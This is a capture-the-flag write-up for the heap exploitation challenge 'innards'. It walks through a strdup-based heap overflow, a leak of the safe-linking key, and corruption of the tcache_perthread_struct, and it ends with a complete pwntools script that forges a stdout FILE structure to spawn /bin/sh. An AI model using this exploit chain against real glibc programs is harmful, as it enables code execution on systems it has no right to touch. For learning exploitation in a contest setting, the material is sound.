Post

Sieberr CTF 7.0 innards

Writeup for innards from qualifiers

Sieberr CTF 7.0 innards

Table of Contents

Hi

A few days ago I participated in SCTF 7.0 qualifiers, making it to finals. I did not manage to solve this pwn challenge during the competition, so here is my upsolve of it. TBH it was really challenging but very fun :)

Challenge protections

innards Source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char* ptrs[0x20];
int leaked = 0;

void menu() {
  puts("[1] dup");
  puts("[2] free");
  puts("[3] create");
  puts("[4] edit");
  puts("[5] print");
  printf("select > ");
}

int get_int() {
  char tmp[0x10];
  fgets(tmp, 0x10, stdin);
  int i = atoi(tmp);
  if (0 <= i && i < 0x20) return i;
  puts("[!] idx failed bounds chk ...");
  exit(1);
}

int main() {
  char tmp[0x10];
  char c;
  int src, dst;
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  while (1) {
    menu();
    c = getc(stdin);
    getchar();

    switch (c) {
      case '1':
        printf("[?] idx (src) > ");
        src = get_int();
        printf("[?] idx (dst) > ");
        dst = get_int();
        ptrs[dst] = strdup(ptrs[src]);
        break;
      case '2':
        printf("[?] idx to free > ");
        src = get_int();
        free(ptrs[src]);
        ptrs[src] = NULL;
        break;
      case '3':
        printf("[?] idx to alloc > ");
        src = get_int();
        ptrs[src] = malloc(0x100);
        read(0, ptrs[src], 0x100);
        break;
      case '4':
        printf("[?] idx to edit > ");
        src = get_int();
        read(0, ptrs[src], 0x100);
        break;
      case '5':
        if (!leaked) {
          printf("[?] idx to edit > ");
          src = get_int();
          printf("[!] content: %s\n", ptrs[src]);
          leaked = 1;
        } else {
          puts("[X] already printed");
        }
        break;
      case 'q':
      default:
        puts("exiting out :)");
        _exit(0);
    }
  }
}

the programme lets us

  1. use strdup to copy a src chunk to a destination chunk
  2. free a chunk, and the freed pointer is nulled out in ptrs array
  3. mallocs chunks of size 0x100
  4. edit a chunk with fixed read of 0x100
  5. ONE and only one read

Solve

We can start by first examining the programme behaviour using a debugger.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> r
Starting program: /mnt/c/Stuff/CTF/sctf/pwn/innards/dist-zip/main_patched 
Downloading separate debug info for system-supplied DSO at 0x7ffff7fc3000
[Thread debugging using libthread_db enabled]                                                                                                
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[1] dup
[2] free
[3] create
[4] edit
[5] print
select > 3
[?] idx to alloc > 0
aaaaaaaa
[1] dup
[2] free
[3] create
[4] edit
[5] print
select > 1
[?] idx (src) > 0
[?] idx (dst) > 1
[1] dup
[2] free
[3] create
[4] edit
[5] print
select > ^C

I have created a chunk with content ‘aaaaaaaa’ and duped it to ptrs[1].

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x55555555b290
Size: 0x110 (with flag bits: 0x111)

Allocated chunk | PREV_INUSE
Addr: 0x55555555b3a0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x55555555b3c0
Size: 0x20c40 (with flag bits: 0x20c41)

HMM… We can notice a very strange chunk of size 0x20, but where exactly did it come from?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> x/50gx 0x55555555b290
0x55555555b290: 0x0000000000000000      0x0000000000000111
0x55555555b2a0: 0x6161616161616161      0x000000000000000a
0x55555555b2b0: 0x0000000000000000      0x0000000000000000
0x55555555b2c0: 0x0000000000000000      0x0000000000000000
0x55555555b2d0: 0x0000000000000000      0x0000000000000000
0x55555555b2e0: 0x0000000000000000      0x0000000000000000
0x55555555b2f0: 0x0000000000000000      0x0000000000000000
0x55555555b300: 0x0000000000000000      0x0000000000000000
0x55555555b310: 0x0000000000000000      0x0000000000000000
0x55555555b320: 0x0000000000000000      0x0000000000000000
0x55555555b330: 0x0000000000000000      0x0000000000000000
0x55555555b340: 0x0000000000000000      0x0000000000000000
0x55555555b350: 0x0000000000000000      0x0000000000000000
0x55555555b360: 0x0000000000000000      0x0000000000000000
0x55555555b370: 0x0000000000000000      0x0000000000000000
0x55555555b380: 0x0000000000000000      0x0000000000000000
0x55555555b390: 0x0000000000000000      0x0000000000000000
0x55555555b3a0: 0x0000000000000000      0x0000000000000021
0x55555555b3b0: 0x6161616161616161      0x000000000000000a
0x55555555b3c0: 0x0000000000000000      0x0000000000020c41
pwndbg> x/4gx &ptrs
0x555555558060 <ptrs>:  0x000055555555b2a0      0x000055555555b3b0
0x555555558070 <ptrs+16>:       0x0000000000000000      0x0000000000000000

Well it is actually our duped chunk!

strdup

Let’s take a look at how strdup actually works.

1
2
3
4
5
6
7
8
9
10
11
12
/* Duplicate S, returning an identical malloc'd string.  */
char *
__strdup (const char *s)
{
  size_t len = strlen (s) + 1;
  void *new = malloc (len);

  if (new == NULL)
    return NULL;

  return (char *) memcpy (new, s, len);
}

strdup() allocates a new heap chunk large enough to store the copied string, including its null terminator. Internally, it calls:

1
malloc(strlen(s) + 1);

and copies the string into the newly allocated buffer.

This means that, unlike option 3 which always allocates a fixed-size 0x100 chunk, the size of a chunk created through strdup() depends on the length of the source string. As a result, we can create heap chunks of arbitrary size by controlling our input size!
Why does this matter? Well remember that we have a fixed edit of size 0x100.
If the chunk that we start editing from is LESS than 0x100, we have a heap overflow and can write to neighbouring chunks, including overwriting their metadata :)
SO YES we have discovered our first primitive, a heap overflow.

only one leak????

If we try to use the print option on a chunk normally, it would just return the string it contains.

1
2
3
4
5
6
7
8
[1] dup
[2] free
[3] create
[4] edit
[5] print
select > 5
[?] idx to edit > 0
[!] content: aaaaaaaa

This is because printf("[!] content: %s\n", ptrs[src]); stops once it encounters a null byte.

1
2
3
0x55555555b290: 0x0000000000000000      0x0000000000000111
0x55555555b2a0: 0x6161616161616161      0x000000000000000a
0x55555555b2b0: 0x0000000000000000      0x0000000000000000

quite obviously, as we had only entered a string of length 8, the rest of the 0x110 sized chunk would be null bytes.
Let’s try filling up the entire chunk instead.

1
2
3
4
5
6
7
8
9
p = conn()
# context.log_level = 'debug'
gdb.attach(p)
alloc(0,b'A'*0x100)
alloc(1,b'B'*0x100)
alloc(2,b'C'*0x100) #padding chunk so freeing 1 doesn't consolidate with the top chunk
free(1)
view(0)
p.interactive()

Here I have created 3 chunks and filled them up. I free ptrs[1] so that its metadata is right after ptrs[0].
aaaa Still, it only prints the long string of A’s.
alla This is because the chunk header of ptrs[1] contains null bytes, so the print stops there and will not reach the metadata of ptrs[1].
This is easily solved with our heap overflow primitive!

1
2
3
4
5
6
7
8
9
gdb.attach(p)
alloc(0,b'A'*0x20) #src chunk to dup from
dup(0,1) #ptrs[1]
dup(0,2) #ptrs[2]
alloc(3,b'C'*0x100) #padding 
free(2)
edit(1,b'B'*0x30) #overwrite
view(1)
p.interactive()
1
2
3
4
5
0x5603dd6ab3a0: 0x0000000000000000      0x0000000000000031
0x5603dd6ab3b0: 0x4242424242424242      0x4242424242424242
0x5603dd6ab3c0: 0x4242424242424242      0x4242424242424242
0x5603dd6ab3d0: 0x4242424242424242      0x4242424242424242
0x5603dd6ab3e0: 0x00000005603dd6ab      0x53226298ac1291be

heap It worked 😎👍 We have succesfully leaked the heap key!

now what (being stuck/ramble)

So…. now we have figured out how we can leak metadata of neighbouring chunks.
A naive heap pwner (myself) may think:
“hey then cant we just create an unsorted chunk and use the same primitive to leak a libc address then malloc to a file struct and fsop??…. Oh…. we only have one leak…”
“wait what if we placed the chunk with the heap key we want and the unsorted chunk side by side and leak both at the same time??… Oh…. the pointer we want to leak itself has null bytes…”
“wait what if… Oh nevermind…”
It is at times like this where laying out your objectives clearly can help.

First of all, are there other ways we can get a libc leak?

YES through a stdout overwrite!

What do we need to be able to do that?

ummm an allocation to a libc address…?

Are we able to do that with what we currently have?

no idts… ACTUALLY YES WE CAN

Ladies and gentlemen, introducing the tcache_perthread_struct

Tcache_perthread_struct

1
2
3
4
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5603dd6ab000
Size: 0x290 (with flag bits: 0x291)

Ever noticed this strange chunk on the heap? Well this is the tcache_perthread_struct!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* We want 64 entries.  This is an arbitrary limit, which tunables can reduce.  */
# define TCACHE_MAX_BINS		64
...
/* This is another arbitrary limit, which tunables can change.  Each
   tcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7
...
/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

The tcache_perthread_struct stores the per-thread tcache state.

  • counts[TCACHE_MAX_BINS] records the number of cached chunks in each tcache bin.
  • entries[TCACHE_MAX_BINS] stores the head pointer of a singly linked list containing freed chunks of the corresponding size class.

One interesting property of the entries array is that the pointers stored here are not protected by safe-linking. While individual chunks stored in a tcache bin have their fd pointers mangled, the pointers inside entries[] are stored as raw addresses.
This means that if we can corrupt an entry in the entries array, the next allocation from the corresponding tcache bin will return a chunk at whatever address is stored there.
In fact, since we have our heap leak, which is just the base address of the tcache_perthread_struct bit shifted by 12, we can can overwrite a chunks fd pointer and get an arbitrary allocation to anywhere on the heap!

heap

So now our next steps will be:

  1. get our heap leak
  2. get an allocation to the tcache_perthread_struct entries array
  3. create an unsorted chunk such that a libc pointer (main_arena+96) is placed as an entry in the array
  4. modify the libc pointer to point to stdout
  5. alloc to stdout, edit it to get a libc leak when it flushes
  6. fsop and win

This part requires a bunch of heap grooming.
First step, our heap leak.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
alloc(0,b'A'*0x20)
dup(0,1)
dup(0,2)
free(2)
# pause()
edit(1,b'B'*0x30)
view(1)
leak = p.recvline().strip()
print(leak)
leak = leak[::-1]
print(leak)
mangle = leak[:5]
print(mangle)
mangle = mangle[::-1]
mangle = u64(mangle.ljust(8,b'\x00'))
print(hex(mangle))

Second step, modify the fd pointer of a freed chunk so the next alloc is to the tcache entries array

1
2
3
4
5
6
7
8
9
10
11
12
13
dup(0,3)
alloc(4,b'C'*0x100)
alloc(7,b'pad')
# alloc(8,b'pad2')
free(7)
free(4)
print(hex((mangle<<12)+0x100))

edit(3,b'D'*0x20+p64(0)+p64(0x100)+p64((((mangle<<12)+0x100) ^ mangle)))
# pause()
alloc(5,b'E')
# alloc(6,p64((mangle<<12)+0xd90))
alloc(6,b'um') #ptrs[6] is at entries array

We need the extra alloc of ptrs[7] here to ensure our tcache count is 2 when we alloc ptrs[5] and ptrs[6].
ptrs[6] is at the start of our entries array.
Some heap management:

1
2
3
4
5
6
7
8
9
10
dup(0,8)
dup(0,9)
dup(0,10) #pad
free(10)
free(9)
edit(8,b'D'*0x20+p64(0)+p64(0x31)+p64((((mangle<<12)+0x100-0x10) ^ mangle)))
dup(0,11)
dup(0,12)
# pause()
edit(12,p64(0)+p64(0x111)) #fake unsorted chunk

This creates ptrs[12] to be 0x10 bytes before ptrs[6] so that we can create our fake chunk size.
MORE heap grooming:

1
2
3
4
5
6
7
8
9
10
11
12
alloc(21,b'U'*0x10)
dup(21,16)
dup(21,17)
dup(21,18)
dup(21,19) #gaurd
free(18)
free(17)
print(hex((((mangle<<12)+0x200) ^ mangle)))
edit(16,b'X'*0x10+p64(0x0)+p64(0x21)+p64((((mangle<<12)+0x200) ^ mangle))) #fake chunk for corruptions
dup(21,20)
dup(21,22)
edit(22,p64(0)+p64(0x91))

To make our fake 0x110 chunk usable, we also need to ensure that the chunk immediately following it appears valid to glibc.
When glibc processes a chunk, it does not only inspect the current chunk’s metadata. It also verifies the metadata of the next chunk located at:
fake_chunk + 0x110
Since our fake chunk claims to have a size of 0x110, the allocator expects to find another well-formed chunk header at that location. If the next chunk’s metadata is invalid, allocator consistency checks will fail and the program will abort.
So yeah we just use the same technique as above to do that at base+0x200. (I used size 0x90 cus I think the chunk following this chunk is 0x90 away, though im not sure if it would affect anything if you uesd a diff size).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#23,24,25,26,27,28,29 (tcache)
# 30,31 
for i in range(23,32):
    alloc(i,b'hi')
for i in range(23,30):
    free(i)
free(6)
stdout_low = 0x65c0

edit(12,p64(0)+p64(0x111)+p64(0) + p16(stdout_low))
alloc(23,p64(0xfbad1887) + p64(0)*3 + b'\x00' )

leak = p.recvuntil(b'[1] dup', drop=True)
# print(leak[:8])
libc_leak = leak[:8]
libc_leak = u64(libc_leak)
print(hex(libc_leak))
libc_base = libc_leak - 0x204644
print(hex(libc_base))
libc.address = libc_base
print(hex(libc.address),'libc base')

We fill up 7 slots in the tcache, then free(6) to create an unsorted chunk and place a libc pointer in the tcache entries.
We then edit it to point to stdout instead of main_arena+96.
For this part stdout_low = 0x65c0, only the bottom 3 bits 5c0 are a constant offset from the libc base, and we need to guess the top nibble. As the chance of it being correct is 1/16 with aslr, we can just run our script a few times until it works.
Note you can set e.process(aslr=False) when youre solving/debugging so you can use the same offset and its less annoying

FINALLY, we can just do a stdout FSOP and WIN!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
stdout = libc.sym['_IO_2_1_stdout_']
stdout_lock =  stdout + (10*8)   # _IO_stdfile_1_lock  (symbol not exported)
# stdout = libc.sym['_IO_2_1_stdout_']
fake_vtable = libc.sym['_IO_wfile_jumps']-0x18
# our gadget
gadget = libc.address + 0x0000000000172550 # add rdi, 0x10 ; jmp rcx

fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end=libc.sym['system']            # the function that we will call: system()
fake._IO_save_base = gadget
fake._IO_write_end=u64(b'/bin/sh\x00')  # will be at rdi+0x10
fake._lock=stdout_lock
fake._codecvt= stdout + 0xb8
fake._wide_data = stdout+0x200          # _wide_data just need to points to empty zone
fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
edit(23,bytes(fake))

Full Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/python3
from pwn import *
from sys import argv

e = context.binary = ELF('./main_patched')
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
if len(argv) > 1:
    ip, port = argv[1].split(":")
    conn = lambda: remote(ip, port)
else:
    conn = lambda: e.process()

def dup(src,dst):
    p.sendlineafter(b'> ',b'1')
    p.sendlineafter(b'> ',str(src).encode())
    p.sendlineafter(b'> ',str(dst).encode())

def free(idx):
    p.sendlineafter(b'> ',b'2')
    p.sendlineafter(b'> ',str(idx).encode())

def alloc(idx,content):
    p.sendlineafter(b'> ',b'3')
    p.sendlineafter(b'> ',str(idx).encode())
    p.send(content)

def edit(idx,content):
    p.sendlineafter(b'> ',b'4')
    p.sendlineafter(b'> ',str(idx).encode()) 
    p.send(content)

def view(idx):
    p.sendlineafter(b'> ',b'5')
    p.sendlineafter(b'> ',str(idx).encode())



p = conn()
# context.log_level = 'debug'
gdb.attach(p)

alloc(0,b'A'*0x20)
dup(0,1)
dup(0,2)
free(2)
# pause()
edit(1,b'B'*0x30)
view(1)
leak = p.recvline().strip()
print(leak)
leak = leak[::-1]
print(leak)
mangle = leak[:5]
print(mangle)
mangle = mangle[::-1]
mangle = u64(mangle.ljust(8,b'\x00'))
print(hex(mangle))
# edit(1,b'B'*0x20 + p64(mangle))
# alloc(7,b'pad')
# free(7)
dup(0,3)
alloc(4,b'C'*0x100)
alloc(7,b'pad')
# alloc(8,b'pad2')
free(7)
free(4)
print(hex((mangle<<12)+0x100))

edit(3,b'D'*0x20+p64(0)+p64(0x100)+p64((((mangle<<12)+0x100) ^ mangle)))
# pause()
alloc(5,b'E')

alloc(6,b'um')

# free(14)
dup(0,8)
dup(0,9)
dup(0,10) #pad
free(10)
free(9)
edit(8,b'D'*0x20+p64(0)+p64(0x31)+p64((((mangle<<12)+0x100-0x10) ^ mangle)))
dup(0,11)
dup(0,12)
# pause()
edit(12,p64(0)+p64(0x111)) #fake unsorted chunk

alloc(21,b'U'*0x10)
dup(21,16)
dup(21,17)
dup(21,18)
dup(21,19) #gaurd
free(18)
free(17)
print(hex((((mangle<<12)+0x200) ^ mangle)))
edit(16,b'X'*0x10+p64(0x0)+p64(0x21)+p64((((mangle<<12)+0x200) ^ mangle))) #fake chunk for corruptions
dup(21,20)
dup(21,22)
edit(22,p64(0)+p64(0x91))
# free(18)
# free(17)
for i in range(23,32):
    alloc(i,b'hi')
for i in range(23,30):
    free(i)
free(6)
stdout_low = 0x65c0

edit(12,p64(0)+p64(0x111)+p64(0) + p16(stdout_low))
alloc(23,p64(0xfbad1887) + p64(0)*3 + b'\x00' )

leak = p.recvuntil(b'[1] dup', drop=True)
# print(leak[:8])
libc_leak = leak[:8]
libc_leak = u64(libc_leak)
print(hex(libc_leak))
libc_base = libc_leak - 0x204644
print(hex(libc_base))
libc.address = libc_base
print(hex(libc.address),'libc base')


stdout = libc.sym['_IO_2_1_stdout_']
stdout_lock =  stdout + (10*8)   # _IO_stdfile_1_lock  (symbol not exported)
# stdout = libc.sym['_IO_2_1_stdout_']
fake_vtable = libc.sym['_IO_wfile_jumps']-0x18
# our gadget
gadget = libc.address + 0x0000000000172550 # add rdi, 0x10 ; jmp rcx

fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end=libc.sym['system']            # the function that we will call: system()
fake._IO_save_base = gadget
fake._IO_write_end=u64(b'/bin/sh\x00')  # will be at rdi+0x10
fake._lock=stdout_lock
fake._codecvt= stdout + 0xb8
fake._wide_data = stdout+0x200          # _wide_data just need to points to empty zone
fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
edit(23,bytes(fake))
            
p.interactive()

YAYYY win

Flag

1
sctf{cb371567ae55997866d75c625055a794467f6653}
This post is licensed under CC BY 4.0 by the author.